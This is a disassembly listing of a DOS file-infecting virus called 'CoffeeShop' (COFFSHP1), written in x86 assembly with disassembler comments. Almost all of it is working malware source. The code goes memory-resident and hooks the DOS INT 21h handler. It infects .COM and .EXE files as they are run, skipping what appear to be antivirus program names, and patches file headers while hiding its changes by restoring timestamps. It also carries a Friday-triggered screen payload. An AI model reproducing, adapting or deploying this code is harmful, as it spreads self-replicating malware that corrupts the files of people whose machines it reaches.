PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ COFFSHP1 ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 23-Jun-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 0F8h data_2e equ 0FAh data_3e equ 43Bh data_4e equ 0F4h data_5e equ 0F8h data_6e equ 0FCh data_15e equ 15A1h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h coffshp1 proc far start: jmp loc_2 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+di],ah inc ax add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al int 20h ; DOS program terminate db 27 dup (0) loc_2: call sub_2 coffshp1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near pop si mov di,100h sub si,20h push ax push ds push es push di push si cld ; Clear direction mov ah,30h ; '0' int 21h ; DOS Services ah=function 30h ; get DOS version number ax xchg ah,al cmp ax,30Ah jb loc_3 ; Jump if below mov ax,33DAh int 21h ; ??INT Non-standard interrupt cmp ah,0A5h je loc_3 ; Jump if equal mov ax,es dec ax mov ds,ax xor bx,bx ; Zero register cmp byte ptr [bx],5Ah ; 'Z' jne loc_3 ; Jump if not equal mov ax,[bx+3] sub ax,72h jc loc_3 ; Jump if carry Set mov [bx+3],ax sub word ptr [bx+12h],72h mov es,[bx+12h] push cs pop ds mov cx,620h rep movsb ; Rep when cx >0 Mov [si] to es:[di] push es pop ds mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_1e,bx mov ds:data_2e,es ;* mov dx,offset loc_1 db 0BAh, 01h, 02h mov ax,2521h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN cmp al,5 jne loc_3 ; Jump if not equal mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec or dh,dh ; Zero ? jnz loc_3 ; Jump if not zero pop ax push ax call sub_3 loc_3: pop si pop di pop es pop ds pop ax cmp byte ptr cs:[si+1Ch],0 je loc_4 ; Jump if equal mov bx,ds add bx,10h mov cx,bx add bx,cs:[si+0Eh] cli ; Disable interrupts mov ss,bx mov sp,cs:[si+10h] sti ; Enable interrupts add cx,cs:[si+16h] push cx push word ptr cs:[si+14h] retf ; Return far loc_4: push di mov cx,1Ch rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near mov bx,ax add bx,152h push cs push bx add ax,62Fh and ax,0FFF0h mov di,ax mov si,data_3e mov cx,2E5h push cs pop es rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov cl,4 shr ax,cl ; Shift w/zeros fill mov dx,cs add ax,dx sub ax,10h mov ds,ax mov es,ax push ax mov ax,100h push ax retf ; Return far sub_3 endp and [bp+di+6Fh],al db 'ffeeShop ' db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh db 33h, 75h, 05h,0B8h, 01h,0A5h db 9Dh,0CFh db 06h, 1Eh, 56h, 57h, 52h, 51h db 53h, 50h, 3Dh, 00h, 4Bh, 74h db 0Ch, 3Dh, 00h db 6Ch, 75h, 0Ah db 0F6h,0C3h, 03h, 75h, 05h, 8Bh db 0D7h loc_7: call sub_4 loc_8: pop ax pop bx pop cx pop dx pop di pop si pop ds pop es popf ; Pop flags jmp dword ptr cs:data_5e ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near cld ; Clear direction push cs pop es mov si,dx xor di,di ; Zero register mov cx,80h locloop_9: lodsb ; String [si] to al cmp al,0 je loc_12 ; Jump if equal cmp al,61h ; 'a' jb loc_10 ; Jump if below cmp al,7Ah ; 'z' ja loc_10 ; Jump if above xor al,20h ; ' ' loc_10: stosb ; Store al to es:[di] loop locloop_9 ; Loop if cx > 0 loc_ret_11: retn loc_12: stosb ; Store al to es:[di] lea si,[di-5] ; Load effective addr push cs pop ds lodsw ; String [si] to ax cmp ax,452Eh jne loc_13 ; Jump if not equal lodsw ; String [si] to ax cmp ax,4558h jmp short loc_14 loc_13: cmp ax,432Eh jne loc_ret_11 ; Jump if not equal lodsw ; String [si] to ax cmp ax,4D4Fh loc_14: jne loc_ret_11 ; Jump if not equal std ; Set direction flag mov cx,si inc cx locloop_15: lodsb ; String [si] to al cmp al,3Ah ; ':' je loc_16 ; Jump if equal cmp al,5Ch ; '\' je loc_16 ; Jump if equal loop locloop_15 ; Loop if cx > 0 dec si loc_16: cld ; Clear direction lodsw ; String [si] to ax lodsw ; String [si] to ax mov di,3BEh mov cl,0Ch repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax jz loc_ret_11 ; Jump if zero mov ax,3300h int 21h ; DOS Services ah=function 33h ; get ctrl-break flag in dl push dx cwd ; Word to double word inc ax push ax int 21h ; DOS Services ah=function 33h ; set ctrl-break flag dl=off/on mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx push es push bx push cs pop ds mov dx,offset int_24h_entry mov ah,25h ; '%' push ax int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,4300h cwd ; Word to double word int 21h ; DOS Services ah=function 43h ; get attrb cx, filename @ds:dx push cx xor cx,cx ; Zero register mov ax,4301h push ax int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jc loc_17 ; Jump if carry Set mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_18 ; Jump if carry=0 loc_17: jmp loc_24 loc_18: xchg ax,bx mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time push dx push cx mov cx,1Ch mov si,100h mov dx,si call sub_7 jc loc_19 ; Jump if carry Set mov ax,4202h xor cx,cx ; Zero register cwd ; Word to double word int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov di,data_4e mov [di],ax mov [di+2],dx cmp word ptr [si+12h],4021h je loc_19 ; Jump if equal cmp word ptr [si],5A4Dh je loc_20 ; Jump if equal mov byte ptr [si+1Ch],0 test byte ptr [si],80h jz loc_19 ; Jump if zero cmp word ptr [di],0D000h jae loc_19 ; Jump if above or = cmp word ptr [di],7D0h jb loc_19 ; Jump if below call sub_10 jnz loc_19 ; Jump if not zero mov byte ptr [si],0E9h mov ax,[di] add ax,1Ah mov [si+1],ax jmp short loc_22 loc_19: jmp loc_23 loc_20: mov byte ptr [si+1Ch],1 cmp word ptr [si+18h],40h jb loc_21 ; Jump if below mov ax,3Ch cwd ; Word to double word call sub_6 jc loc_23 ; Jump if carry Set mov ax,[si-4] mov dx,[si-2] call sub_6 jc loc_23 ; Jump if carry Set cmp byte ptr [si-3],45h ; 'E' je loc_23 ; Jump if equal loc_21: call sub_9 cmp [si+4],ax jne loc_23 ; Jump if not equal cmp [si+2],dx jne loc_23 ; Jump if not equal cmp word ptr [si+0Ch],0 je loc_23 ; Jump if equal cmp word ptr [si+1Ah],0 jne loc_23 ; Jump if not equal call sub_10 jnz loc_23 ; Jump if not zero call sub_8 mov [si+4],ax mov [si+2],dx call sub_11 mov cx,10h div cx ; ax,dx rem=dx:ax/reg sub ax,[si+8] dec ax add dx,2Dh mov [si+16h],ax mov [si+0Eh],ax mov [si+14h],dx mov word ptr [si+10h],17E0h lea di,[si+0Ah] ; Load effective addr call sub_5 lea di,[si+0Ch] ; Load effective addr call sub_5 loc_22: call sub_12 mov word ptr [si+12h],4021h mov cx,1Ch mov dx,si mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_23: pop cx pop dx mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_24: pop ax pop cx cwd ; Word to double word int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx pop ax pop dx pop ds int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ax pop dx int 21h ; DOS Services ah=function 33h ; set ctrl-break flag dl=off/on retn sub_4 endp inc bx dec di push bx inc bx inc bx dec sp push si push bx dec si inc bp dec ax push sp push sp inc dx push si dec cx push dx inc cx inc si inc bp dec bp push sp inc dx push dx ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near mov ax,[di] sub ax,62h jc loc_25 ; Jump if carry Set cmp ax,14Bh jae loc_26 ; Jump if above or = loc_25: mov ax,14Bh loc_26: mov [di],ax retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near call sub_13 mov dx,data_6e mov cx,4 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_7: mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near call sub_11 add ax,620h adc dx,0 jmp short loc_27 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_9: call sub_11 loc_27: mov cx,200h div cx ; ax,dx rem=dx:ax/reg or dx,dx ; Zero ? jz loc_ret_28 ; Jump if zero inc ax loc_ret_28: retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near call sub_11 call sub_13 mov cx,620h mov dx,si mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer cmp ax,cx retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov ax,[di] mov dx,[di+2] retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near xor ax,ax ; Zero register cwd ; Word to double word ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_13: xchg cx,dx xchg ax,dx mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset retn sub_12 endp and [di+4Bh],cl and [bx],ah cmp [bp+si],si and ds:data_15e[bx],bh cmp di,sp jb loc_29 ; Jump if below mov ah,4Ch ; 'L' int 21h ; DOS Services ah=function 4Ch ; terminate with al=return code loc_29: mov si,403h mov cx,170h std ; Set direction flag rep movsw ; Rep when cx >0 Mov [si] to es:[di] cld ; Clear direction mov si,di mov di,100h lodsw ; String [si] to ax lodsw ; String [si] to ax mov bp,ax mov dl,10h jmp $+1439h adc ax,7FDFh cld ; Clear direction mov ah,0Fh int 10h ; Video display ah=functn 0Fh ; get state, al=mode, bh=page ; ah=columns on screen mov ah,0 push ax sti ; Enable interrupts mov bh,0B0h cmp al,7 ;* je loc_31 ; Jump if equal db 74h,0FFh dec word ptr [bp+si] cmp al,4 jae $+2Ah ; Jump if above or = mov bh,0B8h cmp al,2 jb $+24h ; Jump if below mov es,bx mov si,140h db 0FFh,0FFh,0B0h, 19h, 57h,0B1h db 50h,0F3h,0A5h, 5Fh, 81h,0C7h db 0A0h, 00h,0FEh,0C8h, 75h,0F2h db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h db 63h,0A7h,0CBh, 20h, 02h,0FEh db 20h, 00h,0FAh,0EBh,0B0h,0FCh db 0F8h, 03h, 77h,0F0h,0E0h,0D0h db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh db 80h, 6Fh,0BAh,0DCh,0E1h, 34h db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h db 0E4h, 03h, 84h,0E0h,0FCh,0EBh db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h db 01h, 3Ah,0F0h, 50h, 07h,0A2h db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h db 0F4h,0E0h, 40h, 17h,0FAh loc_33: in al,dx ; port 10h ??I/O Non-standard sbb ax,0DF72h esc 2,dl ; coprocessor escape jz loc_33 ; Jump if zero mov dx,20DDh sbb ax,0DE74h and [bp+si-45F9h],ch esc 0,[bx+di-8] ; coprocessor escape inc di xchg di,ax call $-171Ch clc ; Clear carry flag xchg ax,dx hlt ; Halt processor add [di],bl db 60h,0D8h,0E8h, 09h,0DCh,0FEh db 09h,0F8h,0B0h, 23h,0F8h, 5Ch db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h db 75h, 60h,0CAh, 20h, 0Eh,0B2h db 0D8h, 81h,0F0h, 3Bh, 40h, 92h db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h db 0A7h, 41h,0DEh, 60h, 02h,0B5h db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h db 65h, 07h, 15h, 60h, 6Eh, 42h db 68h,0B8h, 20h,0FEh,0FCh,0AEh db 23h,0FCh,0E2h, 7Fh, 07h,0C0h db 0B3h, 20h, 2Fh, 60h, 79h, 28h db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h db 09h,0E4h,0C0h, 60h,0C1h, 70h db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh db 4Fh, 5Eh, 9Ah, 05h,0ADh db 22h db 06h, 80h, 70h, 10h, 60h, 3Eh db 05h,0CAh, 5Eh, 41h, 46h,0A4h db 53h,0EFh, 15h db 7Ah db 97h,0C2h, 54h, 74h, 04h, 20h db 60h, 50h, 45h, 01h,0C8h,0E8h db 0DCh, 05h,0F9h, 06h, 54h,0D8h db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h db 55h, 75h, 04h, 20h, 76h, 1Dh db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h db 55h, 83h, 8Ah, 5Eh, 09h,0C0h db 0Ah, 5Ch, 20h,0C6h, 11h, 12h db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh db 17h, 5Bh, 60h, 80h, 92h, 0Eh db 40h,0EAh, 40h, 75h,0ACh, 62h db 15h, 74h,0C4h, 59h, 5Eh,0C0h db 9Dh,0C4h, 82h, 15h, 08h,0DCh db 20h, 14h, 90h, 60h, 20h, 43h db 66h, 62h, 94h, 50h, 3Bh, 65h db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh db 80h, 55h,0BEh, 0Bh,0C0h, 80h db 62h, 41h, 0Eh, 04h, 72h,0FEh db 56h, 05h, 6Eh, 10h, 01h,0D5h db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h db 0AAh, 62h,0CCh,0C0h,0C8h, 01h db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh db 62h,0BCh, 94h, 48h, 41h, 28h db 4Ah, 45h, 38h, 26h,0FEh, 52h db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h db 02h, 84h,0F2h, 0Ah,0B8h,0AEh db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah db 0DEh, 54h,0D8h, 61h,0ACh, 50h db 0B1h, 43h, 3Eh, 72h, 80h,0A3h db 60h, 48h, 6Ah, 82h, 0Eh, 96h db 02h, 66h, 3Ah, 6Ch, 58h, 84h db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h db 24h, 9Eh, 28h, 12h, 73h,0C6h db 54h,0D0h,0FFh db 0F0h,0FFh, 60h, 34h, 50h, 00h db 00h,0FFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near shr bp,1 ; Shift w/zeros fill dec dl jnz loc_ret_38 ; Jump if not zero lodsw ; String [si] to ax mov bp,ax mov dl,10h loc_ret_38: retn sub_14 endp loc_39: call sub_14 rcl bh,1 ; Rotate thru carry call sub_14 jc loc_42 ; Jump if carry Set mov dh,2 mov cl,3 locloop_40: call sub_14 jc loc_41 ; Jump if carry Set call sub_14 rcl bh,1 ; Rotate thru carry shl dh,1 ; Shift w/zeros fill loop locloop_40 ; Loop if cx > 0 loc_41: sub bh,dh loc_42: mov dh,2 mov cl,4 locloop_43: inc dh call sub_14 jc loc_44 ; Jump if carry Set loop locloop_43 ; Loop if cx > 0 call sub_14 jnc loc_45 ; Jump if carry=0 inc dh call sub_14 jnc loc_44 ; Jump if carry=0 inc dh loc_44: mov cl,dh jmp short locloop_51 loc_45: call sub_14 jc loc_47 ; Jump if carry Set mov cl,3 mov dh,0 locloop_46: call sub_14 rcl dh,1 ; Rotate thru carry loop locloop_46 ; Loop if cx > 0 add dh,9 jmp short loc_44 loc_47: lodsb ; String [si] to al mov cl,al add cx,11h jmp short locloop_51 loc_48: mov cl,3 locloop_49: call sub_14 rcl bh,1 ; Rotate thru carry loop locloop_49 ; Loop if cx > 0 dec bh loc_50: mov cl,2 locloop_51: mov al,es:[bx+di] stosb ; Store al to es:[di] loop locloop_51 ; Loop if cx > 0 loc_52: call sub_14 jnc loc_53 ; Jump if carry=0 movsb ; Mov [si] to es:[di] jmp short loc_52 loc_53: call sub_14 lodsb ; String [si] to al mov bh,0FFh mov bl,al jc loc_39 ; Jump if carry Set call sub_14 jc loc_48 ; Jump if carry Set cmp bh,bl jne loc_50 ; Jump if not equal xor bp,bp ; Zero register xor di,di ; Zero register xor si,si ; Zero register xor dx,dx ; Zero register xor bx,bx ; Zero register xor ax,ax ; Zero register jmp $-1480h seg_a ends end start